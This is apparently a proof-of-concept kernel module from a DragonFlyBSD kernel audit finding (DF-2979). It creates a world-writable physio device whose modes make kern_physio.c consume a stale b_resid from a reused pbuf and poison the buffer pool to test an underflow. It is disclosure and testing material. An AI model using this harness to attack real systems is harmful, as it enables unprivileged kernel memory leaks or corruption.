DragonFlyBSD Kernel Audit
DF-2979 / dfp.c
← back to finding ↓ download raw
/*
 * dfp.c -- DF-2979 PoC trigger device.
 *
 * A minimal physio-backed char device. d_read/d_write are the STOCK
 * physread/physwrite, so every I/O flows through the unmodified
 * sys/kern/kern_physio.c. The strategy routine can complete transfers
 * in three ways that all mirror REAL in-tree driver behavior:
 *
 *   DFP_MODE_NORMAL (0)
 *       Fill the pbuf bounce buffer with a recognizable pattern,
 *       set b_resid = 0, biodone.  (Canonical success: virtio_blk.c:918-919,
 *       scsi_da.c:1745, md.c:334.)
 *
 *   DFP_MODE_ERR_NORESID (1)
 *       Complete with B_ERROR + EIO and DO NOT TOUCH b_resid.
 *       This is exactly the in-tree error completion of:
 *         - virtio_blk.c:920-927  (the default virtio-blk driver, guest root disk)
 *         - xdisk.c:940-950, 1030-1041, 1250-1257 (timeout / lost-link)
 *       i.e. no lying driver is required: kern_physio.c:112 then consumes a
 *       b_resid value left over from the pbuf's PREVIOUS life in the shared
 *       pbuf_mem pool (physio itself, cam_periph.c:743 bounce buffers, or the
 *       disklabel/mbr/gpt scanners).
 *
 *   DFP_MODE_EOF (2)
 *       b_resid = b_bcount, no error, biodone -- the canonical EOF completion
 *       of dscheck (subr_diskslice.c:266-270 / bounds_check_with_mediasize
 *       subr_disk.c:1467-1470).  This is how a pbuf legitimately leaves the
 *       pool carrying a LARGE b_resid (pool poisoning for the underflow test).
 *
 * Build: see Makefile.  Load: kldload ./dfp.ko  (root; PoC setup only).
 * The trigger itself runs as an unprivileged user against /dev/dfp (0666),
 * standing in for any operator-readable physio device (raw disks, tapes,
 * cdrom, xdisk).
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/module.h>
#include <sys/bus.h>
#include <sys/conf.h>
#include <sys/device.h>
#include <sys/buf.h>
#include <sys/uio.h>
#include <sys/ioccom.h>

static d_open_t		dfp_open;
static d_close_t	dfp_close;
static d_ioctl_t	dfp_ioctl;
static d_strategy_t	dfp_strategy;

#define DFP_SET_NORMAL	_IO('D', 1)
#define DFP_SET_ERRNR	_IO('D', 2)
#define DFP_SET_EOF	_IO('D', 3)

enum { DFP_MODE_NORMAL = 0, DFP_MODE_ERRNR = 1, DFP_MODE_EOF = 2 };

static volatile int dfp_mode = DFP_MODE_NORMAL;
static volatile u_int dfp_seq = 0;
static cdev_t dfp_dev;

static struct dev_ops dfp_ops = {
	{ "dfp", 0, D_DISK },
	.d_open =	dfp_open,
	.d_close =	dfp_close,
	.d_read =	physread,	/* stock physio path */
	.d_write =	physwrite,	/* stock physio path */
	.d_ioctl =	dfp_ioctl,
	.d_strategy =	dfp_strategy,
};

static int
dfp_open(struct dev_open_args *ap)
{
	return (0);
}

static int
dfp_close(struct dev_close_args *ap)
{
	return (0);
}

static int
dfp_ioctl(struct dev_ioctl_args *ap)
{
	switch (ap->a_cmd) {
	case DFP_SET_NORMAL:
		dfp_mode = DFP_MODE_NORMAL;
		return (0);
	case DFP_SET_ERRNR:
		dfp_mode = DFP_MODE_ERRNR;
		return (0);
	case DFP_SET_EOF:
		dfp_mode = DFP_MODE_EOF;
		return (0);
	}
	return (ENOTTY);
}

static int
dfp_strategy(struct dev_strategy_args *ap)
{
	struct bio *bio = ap->a_bio;
	struct buf *bp = bio->bio_buf;
	u_int seq;
	int i;

	switch (dfp_mode) {
	case DFP_MODE_NORMAL:
		seq = atomic_fetchadd_int(&dfp_seq, 1);
		for (i = 0; i < bp->b_bcount; i++) {
			u_int v = (0xDF000000u ^ (seq << 24) ^ (u_int)(i & 0xFFFFFF));
			bp->b_data[i] = (u_char)(v ^ (v >> 8) ^ (v >> 16) ^ (v >> 24));
		}
		bp->b_resid = 0;
		biodone(bio);
		return (0);

	case DFP_MODE_ERRNR:
		/* virtio_blk.c:920-927 semantics: error, b_resid untouched */
		bp->b_error = EIO;
		bp->b_flags |= B_ERROR;
		biodone(bio);
		return (0);

	case DFP_MODE_EOF:
		/* dscheck EOF semantics (subr_diskslice.c:266-270) */
		bp->b_resid = bp->b_bcount;
		biodone(bio);
		return (0);
	}
	bp->b_error = EIO;
	bp->b_flags |= B_ERROR;
	biodone(bio);
	return (0);
}

static int
dfp_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		dfp_dev = make_dev(&dfp_ops, 0, UID_ROOT, GID_WHEEL, 0666,
				   "dfp");
		kprintf("dfp: loaded (iosize_max=%d)\n",
			dfp_dev->si_iosize_max);
		return (0);
	case MOD_UNLOAD:
		destroy_dev(dfp_dev);
		dev_ops_remove_all(&dfp_ops);
		return (0);
	}
	return (0);
}

DEV_MODULE(dfp, dfp_modevent, NULL);